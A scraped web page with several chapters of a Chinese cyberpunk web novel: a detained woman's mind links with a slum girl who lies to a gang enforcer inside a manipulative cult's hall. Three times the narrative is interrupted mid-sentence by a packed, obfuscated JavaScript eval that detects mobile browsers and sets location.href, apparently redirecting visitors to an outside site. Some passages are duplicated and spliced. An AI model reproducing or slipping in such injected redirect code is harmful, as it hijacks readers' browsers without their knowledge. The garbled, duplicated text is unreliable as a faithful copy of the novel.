然而,虽然她拒绝了,系统弹窗却没有消失:【如果拒绝呼叫,宿主和载体X-07的信任值和同步率会大幅下降,共享技能“机械感知”有不可用风险。请问,是否回应强制意识链接?】 【是/否】 你就是想让我选是,是吧? 连映愤怒地想,还没来得及说什么,眼前的画面却已经开始扭曲。 “唔……” 她痛苦地闷哼一声,跨越空间的共鸣正在强行抽干她的精神力,让她头晕目眩。 与此同时,头顶那生锈的广播喇叭里传来的警报: 【医务室所有人员注意!底层隔离区发生暴乱,立刻请求工作人员和机械警卫增援!其余人员不要再走廊上和公共区域逗留,违者后果自负!重复一句,不要在走廊上和公共区域逗留,违者后果自负!】 靠,怎么什么事都赶到一块去了!系统,我不要现在失去意识,千万不要——! 连映在心里拼命抗议,逐渐模糊的视线中出现了暮姨的脸。 “你怎么了?” 暮姨呼唤着她,总是平静如水的眼里此刻盛满掩饰不住的惊愕和担忧。 她一把扶住连映软倒的身体,语气关心,连映却已无法回应。 因为,在她脑中,系统已经开始发出倒数: 【意识跃迁开始,3——2——】 意识消失前,连映在天花板阴影里里看到了一团眼熟的黑色斑点。 之所以叫一团,是因为它的体积不知何时膨胀了数倍,仿佛和此刻广播里传达的紧张和恐惧共振,正在黑暗中悄无声息地向外蔓延。 26.暮姨 “我带她去吧,小刘。” 连映回过头,看到一张略有些眼熟的脸。 这是个身着囚服的中年女人,黑发黑瞳,眉眼平淡,气质斯文,外面套着一件带着点消毒水味的清洁马甲,语速平稳,淡定的嗓音在人员喧嚷的大厅里荡开一种奇特的寂静感。 正握着电磁棍的巡逻管教小刘转过头。在羁押所里,暮姨是个异类。 暮姨原名陈暮云,囚号C001,住的是单人间,也是军方人,因为经济类罪名进来的。虽然名义上只是个由于案情复杂长期被关押在此的老嫌疑犯,但据说她的背景很不简单,一直待在这里面另有原因,比C092号李棠还要神秘,连所长都对她相当客气。 其中具体缘由,小刘这种小虾米不得而知,她唯一知道的是,大家都对暮姨很客气。 然而,无论真相为何,暮姨个性温和,情绪稳定,沉稳负责,管教们大多都很信任她,赋予了她比普通囚犯多得多的权限。 “暮姨,这么晚了,这不合规矩。”小刘犹疑道,目光从暮姨身上划过,再次停留在连映那张因精神过载而略显苍白的脸上。 “她是军方特勤局挂了号的重点监视对象,C095号。”暮姨的语气自然而温和,“医务室孙医师说她的情绪波动指数濒临临界值,为了不发生和昨夜审讯相同的状况,要我带她医务室一趟,顺便去阅览室借几本书,放松心情。怕你们顾虑,他还让我带着机械警卫一块来了,有它看着,不可能出岔子。” 说着,她微微侧身,露出身后那台高大结实的机械警卫。 这个机械警卫看起来格外有压迫感,人形机体浑身覆盖深灰色的防暴装甲和灵活度极高的人工肌肉纤维,看起来骇人之中带着点诡异。它没有类人的五官,头部只是一个冷酷的流线型金属壳,正中央是黑洞洞的复合电子眼,正一亮一亮地闪着红光,表明它正在全程监控这边发生的一切。 年轻管教愣了一下,看了看这台高科技的重型机械警卫,眼前微微一亮,很感兴趣地说:“这是今天新投入使用的?昨天还没有呢。” 她知道这是联合军工新出的机械警卫,没想到羁押所这么快就用上了。 “是。”暮姨微微点了点头,没和她继续深聊机器人,表情平静道: “通讯器就在你腰上,你可以现在向医务室孙医师核实。不过,考虑到明早C095还要接受审讯,我觉得这事儿还是不能耽搁。出了事情,孙医师担着,你我都负不了责任。” 听到“孙医师担着”这几个字,管教没再犹豫:“行吧,快去快回。” 她痛快地一挥手,侧身让开了通道。 暮姨微微颔首,用眼神示意连映跟上。那台机械警卫看似沉重,脚步却轻盈而灵活,静谧无声地紧跟在两人身后。 连映有心想问暮姨一些问题,但见机械警卫一直紧随不舍,便一声不吭地随暮姨来到标注着图书室的金属门前。 机械警卫的合金足踏停在门外的红色警戒线边缘,头部的十字红光静静扫视着走廊两端,进入了定点驻守模式。它太庞大,且装配了重火力,按程序设定不会进入这种充满易燃纸质档案的狭窄封闭房间。 “站进去。”暮姨指了指门前那道血红色的感应区。 连映踩入足印区,极其缓慢地再次做出那个动作——扬起下巴。 红色的激光扫描线从前额斜射而下,扫过她脆弱的颈动脉。这种将喉咙彻底暴露在机器面前的姿态,让她感到一种生理性的不安。她垂下眼帘,控制自己的面部肌肉,尽力不在监控前流露出抗拒的表情。 【感应完成。编号095,权限确认:临时协理。】 门悄无声息地划开,在两人走进房间后又静静闭合,将机械警卫那冰冷的红光挡在门外。 离开了那个重型机器人的视线,连映微微放松了些,抬眼打量了一圈图书室的环境。 阅览室内部并没有想象中闪烁的电子屏幕,而是一排排顶到天花板的密集实体书架和防潮档案柜。空气里弥漫着一股陈旧纸张和防腐剂的干涩味道。 天花板的角落里,一个挂满灰尘的红外监控探头正缓慢地转动着。 暮姨没有立刻说话,而是熟练地带着连映穿过走道,拐进两排最高耸的防潮柜中间。这里刚好处于探头镜头的物理死角,而头顶那台一直发出“嗡嗡”低频轰鸣的老旧除湿机,完美地掩盖了声波的传递。 直到站定在这个死角里,连映紧绷的神经才稍微松了一丝,压低声音问道:“孙医师真的让你来找我?” “他说昨天欠了你一个保命的人情,交代我稍微帮忙盯着你点。” 暮姨转过身,随手从书架上抽出一本厚重的心理学实体书。 “至于来阅览室,是我编的借口。只要待在这个死角,外面的警卫听不见,头顶的监控也只能拍到我们在找书。” 连映心中一动,终于想起自己为什么对这个暮姨,那天她在医务室见过一次,好像确实对这里非常熟悉,她做这些事情时异常镇定,似乎并不害怕谎言戳穿的后果,。 就在连映的目光随着暮姨的手扫过柜顶时,她的瞳孔骤然收缩。 在顶层几本积灰的旧书阴影里,一团极其不显眼的黑色斑块正静静地贴在柜板上。 那是她在医务室见过的那种东西——它没有固定的边缘,正以极其微小的幅度蛰伏在阴影里。 和之前一样,连映的精神力依旧没察觉任何异样。 靠,这东西到底是真的,还是她的幻觉啊? 连映浑身汗毛倒竖,心跳加速,深吸一口气,本能地想要后退,却撞上了一个温热的肩膀。 “不舒服吗?看你一直看着那边发呆。这里面的空气除湿系统坏了很久,灰尘大,忍一忍,等挑好你想看的书我们就出去。” 连映指了指黑斑的方向:“暮姨,你有没有看到什么——” “什么?”暮姨顺着她的手看了一眼,有些疑惑地问。 “就是一个黑色的——” 连映一边说一边回头,却见墙上刚刚黑斑停留的地方此刻空空如也,什么都没有。 连映哑口无言,顿时泄了气:“……没什么,是我看错了。” “我知道你在担心什么,你们这一代没怎么看过纸质书吧?” 暮姨对她招了招手,接着朝另一个方向走去:“不用担心,这里有终端能帮你检索书目,跟我来。” 连映跟在她身后,一直走到房间另一头一排高大书架后面的监控死角处,一台甚至还在使用老式物理键盘的局域网物资检索终端前。 “时间紧张,告诉我,你想看什么书?我帮你查,节省时间。”暮姨低头操作着,从袖口摸出一张旧式磁卡刷开底层权限。 连映愣住了。暮姨敲击回车键时,习惯性地用无名指的指节轻轻扣两下空格键。 这一个微小的动作,让连映的心脏猛地收紧。在这昏暗的环境里,暮姨说话的方式和操纵老式电脑的身影像是触发了她心底的某个按钮,让她眼底微微有些发热,心底泛起一种既怀念、又想落泪的熟悉感。 不,现在不是发散情绪的时候。 连映压下心头翻滚的思绪,试探性地开口道:“你听说过,阿撒兹勒这个词吗?” “……” 暮姨敲打键盘的动作一顿,回头看向连映,神情不明:“……阿撒兹勒?” 连映心里咯噔一下。 她的反应怎么有点奇怪?这个词有什么问题吗? 连映眨了眨眼,轻轻绽开一个接待客人时使用的令人安心的标准微笑:“没有,我只是听说过这是一种传说中的恶魔的名字,想知道这里有没有什么相关的书。” “……书?”暮姨轻轻重复了一遍,深邃的黑眼珠一错不错地盯着她,慢慢地道:“你是说,你想看《圣经》?” ……啊? 连映马上反应过来,立刻点了点头:“原来这是《圣经》里的?我都不知道,您懂得真多。我能借一本吗?” “可以。” “在哪里呢?我不太知道,你能帮我找找吗?”连映刻意语气为难地说。 暮姨看着她不好意思的神情,点点头:“那我去帮你找,你再看看别的,这里一次只能借一本,得好好挑一挑。” 暮姨起身去给她找书了。 “谢谢暮姨。”连映赶紧道谢,待她的身影离开视线便赶紧扑到终端前,十分庆幸小时候偷偷玩过母亲的老式电脑,现在才不至于连基础操作都搞不明白。 刚才暮姨已经登入了系统,她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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糟糕,来不及了!! 连映心脏疯狂跳动,抖着手匆匆关闭终端界面,佯装无事地转过身去,刚想对暮姨重新摆上一个标准的待客用微笑面具,脑海深处突然炸开一道极其尖锐的警告声,伴随一个深红色警报弹窗在眼前强行弹出: 【警告!检测到锚点X-07(夏雨)情绪阈值突破临界点!】 【接收到强烈的单向共鸣呼叫!意识场强制牵引中……是否回应强制意识链接? 【是/否】 “否!” 连映不假思索地说。 开玩笑,这么紧急的时刻,她才不要忽然失去意识呢! 然而,虽然她拒绝了,系统弹窗却没有消失:【如果拒绝呼叫,宿主和载体X-07的信任值和同步率会大幅下降,共享技能“机械感知”有不可用风险。请问,是否回应强制意识链接?】 【是/否】 你就是想让我选是,是吧? 连映愤怒地想,还没来得及说什么,眼前的画面却已经开始扭曲。 “唔……” 她痛苦地闷哼一声,跨越空间的共鸣正在强行抽干她的精神力,让她头晕目眩。 与此同时,头顶那生锈的广播喇叭里传来的警报: “医务室所有人员注意!底层隔离区发生暴乱,立刻请求工作人员和机械警卫增援!其余人员不要再走廊上和公共区域逗留,违者后果自负!重复一句,不要在走廊上和公共区域逗留,违者后果自负!” “你怎么了?” 暮姨呼唤着她,总是平静如水的眼睛里盛满掩饰不住的惊愕和担忧。 她一把扶住连映软倒的身体,语气关心,连映却已无法回应。 因为,在她脑中,系统已经开始发出倒数: 【意识跃迁开始,3——2——】 意识消失前,连映在天花板阴影里里看到了一团眼熟的黑色斑点。 之所以叫一团,是因为它的体积不知何时膨胀了数倍,仿佛和此刻广播里传达的紧张和恐惧共振,正在黑暗中悄无声息地向外蔓延。 27.双重链接(1) 连映感到自己正被推着在走廊里飞奔。橡胶滚轮碾过地面的凹凸和缝隙,发出沉闷的颠簸声。 躯体陷入了深度的生理性瘫痪,但她的五感并未像上次一样几乎完全消失,依然能感知到周围发生的一切。 连映不知道这场广播里语焉不详的意外到底是什么,但显然状况不好。 她听到下方和走廊深处隐隐传来厚重防爆门关闭的闷响、高压电击的微鸣,以及偶尔穿透墙壁的惨叫,但是,她的精神力感知到的却比这些可怕得多: 视线范围内,那团不知道到底是什么的黑斑正在散发一种奇异的精神场,黏稠、冰冷、混乱无序,沉重无比。 除此之外,空气中漂浮着还有更多属于人类的混乱情绪:恐惧、愤怒、憎恨、暴戾、焦躁、绝望、疯狂……这些庞杂扭曲的精神像密密麻麻的生锈缝衣针,毫无规律地扎进她本就超载的脑神经。 她听不见具体的语句,却能感受到弥散在空中的四面八方的情绪。自我认知的边界开始溶解,她发现自己逐渐分不清哪一丝恐惧是属于自己的,哪一丝绝望是来自某个正在发疯的囚犯。 不行,不能再感知下去了,连映心中忽然醒悟,意识却无法自拔。 就在理智即将被这片深渊彻底同化、碾碎的前一秒,连映拼命在意识中摸索到了那根微弱却清晰的线——那是属于夏雨的共鸣链路。 夏雨那边传来的绝望和低落,带着人类最原始的世俗感。这种接地气的情绪,此刻却成了连映在这场克苏鲁式的精神风暴中,唯一能抓住的理智锚索。 为了不让自己在这张担架上彻底疯掉,连映死死咬住舌尖,强行将自己的意识一头扎进夏雨的精神频段里。 * 物理躯壳在担架上彻底陷入迟滞的同时,连映的意识忽然砸入那片属于夏雨的、充满廉价焚香和潮湿霉味的感官中。 滋—— 刚和夏雨的意识链接上,连映就立刻感知到了她耳边密集电子提示音的狂轰乱炸。 连映定了定神,发现夏雨正走在一条昏暗滴水的地下巷道里,那串疯狂震动的电子提示音来自夏雨腕间的老式通讯终端。 不愧是搞机械的,有好多复古的通讯设备,连映在夏雨体内暗想,随对方的视线看向终端屏幕。 来电显示:【小姨】。 “靠,真不想接。” 夏雨叹口气,按下接听键,全息投影在半空中闪烁出几道杂乱的雪花,拼凑出一个面容憔悴的长发中年女人。 “小雨啊,你昨天一整晚没回来,通讯也断了,小姨这心都一直悬着,饭都没吃下去。”女人一开口,声音温柔而忧心忡忡,甚至带着一丝后怕的微颤,“今天晚上早点回来吧,你万一像你妈当年那样……你让小姨以后到了地下,怎么跟你妈交代啊?” 她的话充满关心,但连映能感觉到,夏雨的胃部在听到这句话时本能地痉挛了一下。这是一种长期处于精神重压下形成的生理性反胃,但夏雨的眼神里却不可遏制地涌起了一丝愧疚。 “我没事,小姨。在外面找点零件,刚出来。”夏雨垂着眼皮,声音干涩。她没有提差点被红光怪物杀死的事,因为不想,也不敢让家里人卷进来。 全息屏幕里的女人长长地叹了一口气,抬手抹了抹眼角,语气变得越发无奈和苦涩:“人没事就好。你这孩子就是太要强。唉,小姨今天打给你,也不是想逼你,实在是……家里快揭不开锅了。你表弟那个高级模拟课,今天最后一天缴费。三千信用点,小姨就算去卖血也凑不够了。” 夏雨的脚步猛地顿住,指甲死死抠进掌心:“小姨,我昨天连饭都没吃上,手里就剩二十个点了……” “小姨知道你难。可是小雨啊,你也得体谅体谅小姨。”女人打断了她,声音里带上了一丝恰到好处的哀怨和隐忍,“你也知道,自从你妈当年……得罪了碎铁帮走后,咱们家这日子就一天比一天难过。碎铁帮三天两头来找麻烦,你姨夫连那个装配厂的活儿都因为这事黄了。” 女人看着夏雨越来越苍白的脸,把那把无形的软刀子一点点推进她的软肋:“当初小姨顶着那么大风险,把你从大街上接回来,就是拿你当亲闺女疼的。咱们家再难,也没少你一口饭吧?你要是饿回来吃饭就行,信用点咱们得省着点花,啊?你妈生前最心疼她这个外甥,现在她不在了,你要是也不管,你弟弟这辈子就只能跟咱们一样,烂在这沉降区里了呀……” 夏雨的胃部一点点绞痛起来,恩情和愧疚交织而成的沉重负债感压得她几乎喘不过气来。她不喜欢姨妈这种惯用的情感勒索式关心,但是她无法否认,她现在的确无处可去,也的确连累了姨妈一家。 她甚至想过,要不真的去黑市卖掉一个肾脏算了,这个念头几乎每天都在她的脑海里萦绕。 【心率平稳,声带振动频率没有任何应激波动。】 连映的声音突然在夏雨的脑海最深处响起,语气是她惯有的平静: 【她在对你使用隐性情绪勒索。她在用你母亲的死制造负罪感,用收留你作为道德筹码,对你进行服从性测试。如果你今天去卖血替她交了钱,明天她可能就会让你去卖命。】 听到她的声音,夏雨浑身一激灵。 神秘监察者终于出现了!原来,如果她在心里叫她,她真的能听见! 夏雨按捺心里的雀跃,顺着连映的提示看过去,果然发现小姨虽然眼眶发红,但眼神却极其清明,甚至在隐隐观察她的反应。 “小姨。”夏雨抬起头,低声道,“我现在真的没钱。如果碎铁帮再因为我妈的事找麻烦,我会自己去扛,不用连累你们。” 说完,她毫不犹豫地切断了通讯。 女人的哀叹声戛然而止。夏雨大口喘息着,感到胸口隐隐轻松了一点,但也只是一点。 钱还是要挣的,不管是为了姨妈家,还是为了她自己。 “小雨,发什么愣呢?你运气真好,一回来就正好赶上至明来了,快走吧,一起去听听课,顺便喝点茶水。” 前方几步远的地方,一个穿着洗得发白的长袍的微胖中年女人转过头,一边温声催促,一边朝夏雨走过来。 她的面相极其和善,眼角带着几条深刻的笑纹。她绕着夏雨看了看,发现没什么明显的伤口,顿时松了口气,拍了拍夏雨依然萦绕着垃圾场气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230790|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味的手,笑眯眯地道:“我差点就以为你出事了,回来就好,回来就好。” 夏雨紧绷的神经稍微放松了一点,跟着柳姨穿过长廊。 前方是一扇掉漆的铁门。门上没有任何夸张的宗教图腾,只有一块写着“诚心互助会”的木牌。 推门进去,大厅里的景象让远在羁押所的连映微微绷紧了意识。 这里就像一个贫民窟里极其罕见的慈善避难所。几百个衣衫褴褛、浑身散发着机油和酸臭味的底层人,正极其安静地坐在长椅上。互助会的几个干事正微笑着给他们分发干净的纯净水和没有发霉的营养膏。 这里看起来和印象里的沉降区截然不同,连映在心里对自己曾经的偏见和狭隘感到有些不好意思,但很快,这种不好意思就被打翻了。 连映借着夏雨的视线扫过人群。那些领到食物的人,脸上没有任何感激涕零的激动,只有一种令人毛骨悚然的平和。他们的眼睛全都没有焦距,就像是被强行抽走了所有欲望和痛苦的空壳。 “柳干事!你给我出来!” 一声极其凄厉的尖叫突然撕裂了大厅的死寂。 大门被猛地撞开,一个面容枯槁、手里死死攥着一只破旧机械眼球的妇女跌跌撞撞地冲了进来。她一把揪住柳姨的长袍,力气大得几乎要把布料撕裂。 “我男人把准备换肺的钱全捐给你们了!你们说导师能净化他的痛苦!”妇女的声音嘶哑,眼泪混着脸上的灰尘淌下来,“结果呢?他昨天晚上高兴地从你们这离开,今天早上就死在去化工厂的路上了!你们这群骗子!杀人犯!” 大厅里的几百号人依旧安静地坐着,连头都没有转一下,仿佛这是一场与他们无关的默剧。 柳姨没有挣脱妇女的撕扯。她眼眶瞬间红了,满脸都是那种真实而感同身受的悲悯。 “大姐,你哭出来吧,哭出来心里就好受了。”柳姨哽咽着,主动抱住了那个发疯的妇女,任由对方沾满油污的拳头砸在自己背上。 她一边抚摸着妇女的后背,一边用极其轻柔的声音在她耳边低语,“可是大姐,你仔细想想,大哥走的时候,脸上是不是一点痛苦都没有?是不是还带着笑?” 妇女的哭声猛地一滞,浑身颤抖了一下,似乎真的回忆起了什么。 “大姐,死亡根本就不是终点啊。”柳姨的眼神温柔得像一滩深不见底的水,“大哥把俗世的财物供奉给互助会,早就洗干净了身上的罪业。他现在已经脱离了这片苦海,去神明的净土享福了。他走得那么安详,寿终正寝,咱们做家属的,应该替他高兴才对啊。” 这种极致的柔软和诡异的安抚,让那个来拼命的妇女彻底愣住了。原本准备好的恶毒咒骂卡在喉咙里,最终变成了一声声充满迷茫的哀泣。 连映在夏雨的意识深处冷眼旁观。 她不知道这到底是个什么组织,但这个地方显然很有问题,洗脑话术一套套的。不过这种东西往往就是愿打愿挨,别人说没用。 “眼泪是留给还在苦海里受罪的人的,你不用为他哭泣,因为他已经解脱了。” 一道清冷平稳的男声突然从大厅后方的长廊传来。 28.导师至明 “你想害你丈夫?眼泪是留给还在苦海里受罪的人的。” 那道男声轻易地穿透了大厅里压抑的死寂,让那个还在抽泣的妇女瞬间噤声,喃喃地叫了声:“至明导师。” 至明……导师?好装逼的称呼。连映心想,看向大厅后方走过来的人影。 在连映的印象里,沉降区里永远充斥着机油味、腐臭味、廉价酒精和毒品味,到处都是脏水、垃圾和污垢。 但这个男人的出现,仿佛在空气中硬生生撕开了一道无菌的口子。 他样貌三十岁上下,穿着简单朴素的白衬衫和黑西裤,扣子严谨地扣到了最上面一颗。那布料白得有些刺眼,仿佛自带一种排斥周围污秽的力场,连一丝多余的褶皱都找不到。 他的袖口整洁地卷在小臂上,露出白皙而无任何改造痕迹的人类肌肤,头顶的光直直打到他洁白无暇的衬衫和皮肤上,仿佛整个人都沐浴着圣光。 这人长了一副好皮囊,五官斯文儒雅,甚至带着几分书卷气,在沉降区里算是相当没有威胁力的长相。但那双眼睛,那双清亮得过分却透不出自身情绪的眼睛,仿佛能映出所有人心,看过来时,总让人莫名心悸,不敢造次。 这不像是一个在贫民区互助会慈善组织的工作人员,倒像是一个穿着无菌服的白衣天使。 连映注意到,在他靠近时,夏雨几乎本能地瑟缩了一下,心底闪过一丝畏惧和仰慕混合的复杂情绪。 连映在意识深处冷冷地注视着眼前的男人。 好一副悲天悯人的皮囊,看着确实挺唬人,但她本能地感觉,这种条件的男人肯在这种地方待着,大概所图甚大,不会是像他说得那么好听。 被称为至明的男人径直走到那个瘫软在地的妇女面前,居高临下地看着她,声音如冰砌雪,不辨喜怒: “你丈夫肺部半年前就彻底纤维化了。那具装满工业粉尘的躯壳早就是个烂透了的牢笼,不属于互助会的救助范围。” 至明的声音没有任何起伏,却带有一种极其可怕的穿透力和神圣感:“他把最后的财产献给神明,换取了灵魂的彻底升华。他昨天在去化工厂的路上,顺利抛弃了那具肮脏的肉身,直接蒙受了神恩。” 他微微俯下身,靠近瘫软在夏雨身旁的妇女。随着他的靠近,一股极淡的、冷冽的草木檀香,盖过空气中的酸臭味,透过夏雨鼻腔,钻入连映的神经。 至明盯着妇女不断颤抖的双眼,厉声道: “他好不容易才洗干净灵魂走向神明。你现在在这里大声喧哗,是想用你这些浑浊的眼泪和世俗的怨恨,把他干净的灵魂重新拽回这个下水道里受苦吗?” 妇女浑身一震,仿佛被这番犀利残酷、又带着宗教威压的话瞬间抽干了力气。 她手里的机械眼球掉在地上,整个人软倒下去。她不仅不再咒骂,反而惶恐地捂住自己的嘴,生怕自己的哭声真的弄脏了丈夫的灵魂。 连映嘲讽地掀了掀嘴角:真是吃人不吐骨头,硬生生把榨干人命说成是神仙显灵,呵。 至明直起身,目光越过地上的妇女,极其精准地落在了角落里的夏雨身上。 “小雨,你身上的精神频率太乱了。”至明看着她,清亮的眼神里没有任何阴影,“跟我来静室。你需要清理一下。” 夏雨死死咬住嘴唇,战战兢兢地跟着至明走向后方那间完全隔音的密闭房间。 门锁发出一声沉闷的电子闭合音。 看到门内的景象时,夏雨顿时惊恐万分。 房间里还有一个人。 金属办公桌边缘,大喇喇地靠着一个浑身肌肉虬结、下半张脸全部改造成铬合金机械颚的男人。他身上带着浓重的机油和血腥味,胸口印着碎铁帮的徽章。夏雨的表层记忆立刻给出了对应的恐惧——碎铁帮骨干干部,铁颚。 与铁颚那种粗鄙的暴力感截然不同,白衣黑裤的至明安静地站在桌子的另一端,却居然没有被这一头暴戾的氛围和画面压住、 “至明导师,你们互助会的晨祷也太长了。” 铁颚吐出一口带着火星的电子烟圈,声音像两块生锈的铁皮在摩擦。他猛地转过头,那只泛着红光的义眼死死盯住夏雨。 “小丫头,老鼠昨天带你下去收B3的货,怎么就你一个人爬回来了?他去哪了?” 夏雨浑身一哆嗦,结结巴巴地开口:“我们在地下……不小心触发了创联的深层安保矩阵。武装无人机下来了,场面太乱,他让我分头跑,我就钻进排污管道逃了……” “分头跑?”铁颚猛地直起身,庞大的身躯带来极强的压迫感,黑洞洞的枪口对准夏雨太阳穴,语气一沉,眯着眼质问道:“他的生物芯片信号在凌晨三点彻底消失了!不是灭了,是消失了!他是跑到信号屏蔽盒里住了?你最好给我说实话,任务物品呢?他到底死没死?!” 夏雨被这股杀气逼得大脑一片空白。她本能地想要后退。 【稳住!绝对不能提李斯变成怪物被你杀死了,更不能提那个装蚀械菌的瓶子碎了!】千钧一发之际,连映冷静地开口提醒道。 远在羁押所担架上的连映,敏锐地抓住了铁颚话里的漏洞:信号只是消失,他们没有发现尸体! “靠,我还不知道这个?但是,我现在该怎么说他们才会相信我?他要是对我刑讯逼供该怎么办?” 【听我的,把脏水全泼给李斯!】连映的指令带着不容置疑的确定感,微微稳定了夏雨的心神,【那个金属牌和脑芯你必须死死藏好。深呼吸,看着他的眼睛诈他!就说李斯拿了东西跑了!现在,我说一句你说一句,照我说的来!】 夏雨用力掐住掌心,借着指甲刺入血肉的疼痛,硬生生把眼底的怯懦压了下去。 她缓缓抬起头,跟着脑子里的神秘女人的话一字一句道:“武装无人机下来的时候,他明明有干扰弹却没有用,自己屏蔽了信号,带着东西跑了,要不是我跑得快,就死在那里了。” 铁颚的下巴喀拉喀拉地愤怒了几秒,旋即又狐疑道: “不对!老鼠就算要跑,创联的无人机可是无差别扫射!你一个连基础义体都没装的贫民窟黄毛丫头,凭什么全须全尾地站在这儿?你他妈是不是在掩护他,或者你俩把东西藏起来了?!再或者——是你把李斯杀了,还把脏水都泼到他头上!夏清那娘们是李斯带人干的,难道你敢说你没对他怀恨在心?” “我……就算我想,我也得有那个能耐啊……那个玻璃瓶和金属牌都在他手里,他那里还有武器,我有什么办法?我只能听他的。”夏雨的声音发颤,像是忽然想起什么,哆哆嗦嗦地道,“对了!我想起来了!他还说,他那个新换的脑芯里有能搞死你们的秘密!” 她跟着连映忽然停止话头,卖了个关子。 “说什么?”铁颚不耐烦地问,黑洞洞的枪口依然指着夏雨。 连映脑内快速分析:易楚生爆炸案现场那个诡异的图案,绝对和这个互助会脱不了干系。她必须借这个机会,让至明主动把夏雨留下来。 夏雨用力掐住掌心,借着疼痛逼出真实的眼泪,瑟缩着开口:“他说他那个新换的脑芯里,有你们两家真正见不得光的东西……” 闻言,铁颚的眼神猛地一凝。 夏雨按照连映的指导,惊恐地看了一眼旁边神色难辨的至明,结结巴巴地继续:“他说……碎铁帮就是一群只配替人收尸的蠢货看门狗。这瓶东西,还有他脑子里记下来的互助会的底牌,足够让他去内城换一辈子荣华富贵。他还说,以后再也不用待在帮里看互助会那帮疯子的脸色……” 房间里死寂了两秒。 这几句极其含混的话,像是一把精准的毒刃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238469|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间切开了这个房间里暗流涌动的虚伪平衡。 铁颚的机械下巴发出一阵越发刺耳尖利的摩擦声,死死盯着眼前抖如筛糠的女孩,原本充满杀意的红光义眼闪烁了几下,竟然真的把顶在她脑门上的枪口往下压了半寸。 他相信了。 不仅因为这番自私透顶的言论完美契合李斯的本性,更重要的是,帮里的眼线前几天就汇报过,李斯极其反常地花血本搞了个带军用级防火墙的新脑芯。原来那家伙早就在打那些脏活儿的主意,想攒筹码反咬一口! 而且,铁颚比谁都清楚那些见不得光的东西有多要命。如果眼前这个小丫头真的从李斯那知道了什么秘密,她现在绝不可能像只鹌鹑一样乖乖跑回来,即使跑回来,也绝不会把这些对他们和盘托出。 这种纯粹的无知和顺从,反而说明了她说的就是真话。 “这个狗娘养的杂碎!”铁颚猛地一锤身边的金属桌,沉重的桌面“砰”地凹陷下去,“他敢骂老子是狗?!还他妈敢留帮里的底子?!” 铁颚粗重地喘息着,厉声逼问:“他往哪跑了?!” “我不知道!我真的不知道!”夏雨闭上眼睛,绝望地喊道,“我自己差点都回不来了,只看见他往B4区的废弃轻轨站方向钻进去了!” 就在铁颚气急败坏,准备立刻调集人手去追捕李斯时。 “铁颚,收起你的暴躁。愤怒会蒙蔽你寻找真相的眼睛。” 站在一旁的至明终于开口了。他脸上的悲悯和温和消失得无影无踪,取而代之的是一种高高在上的冰冷威压。他缓缓走上前,修长洁白的手不轻不重地搭在了铁颚持枪的手腕上,铁颚瞬间冷汗涔涔,拿着枪的手竟再也无法移动半分。 “可怜的李斯。他被世俗的贪婪污染了灵魂,竟然妄图窃取神明的恩赐作为筹码。”至明轻叹了一口气,语气里充满了对迷途羔羊的惋惜,“他以为自己逃向了自由,却不知道自己正在走向无底的深渊。神明会降下神罚的。至于你——” 他看向一旁动弹不得,一脸敢怒不敢言的铁颚。 “上梁不正下梁歪。你们碎铁帮平时心思太杂,小动作太多,手脚又不干净,缺乏对神基本的敬畏之心,养出这种反咬主人的狗不足为奇。” 至明那双淡漠的眼睛极其锐利地盯着铁颚,声音里透着警告,“李斯不仅是个叛徒,还妄图拿互助会的圣物和名声做筹码。铁颚,你们碎铁帮就是这么替神办事的吗?” 铁颚的脸色瞬间铁青。 被李斯骂成看门狗就算了,现在至明这番高高在上的问责,更是直接把碎铁帮当成了办事不利的奴才! 但面对互助会背后深不可测的底牌,铁颚只能硬生生咽下这口气。他咬着牙,义眼疯狂闪烁,最终愤愤地把枪口彻底压了下去。 都怪李斯!如果他老老实实把东西带回来,至少现在碎铁帮还有一丝和这帮神经病谈判的余地! “至于这个女孩,”至明淡淡地瞥了夏雨一眼,语气里透着不容置疑的权威, “既然她是唯一的幸存者,理应留在互助会接受净化。你们碎铁帮现在要做的,是去把圣物和那个叛徒的脑袋连同他脑壳里的垃圾,完完整整地带回来。” 铁颚死死盯着至明,又恶狠狠地剜了夏雨一眼。 他心里清楚互助会这是要硬保这个目击者了,勉强从牙缝里挤出一句:“……碎铁帮的叛徒,老子亲自带人去清理!” 这句话落下,他的身体忽然又重新恢复了自由。 好汉不吃眼前亏。他从鼻腔喷出一口热气,猛地转身,一脚踹开金属门,带着满身的煞气大步离去。 厚重的门帘落下,房间里只剩下了至明和夏雨。 远在羁押所的连映,在意识深处极其冷酷地勾了勾唇角。 第一步棋,走通了。 29.导师至明 厚重的门帘落下,房间里只剩下了至明和夏雨。 至明转过身,从抽屉里拿出一张不记名的信用芯片,轻轻推到夏雨面前。 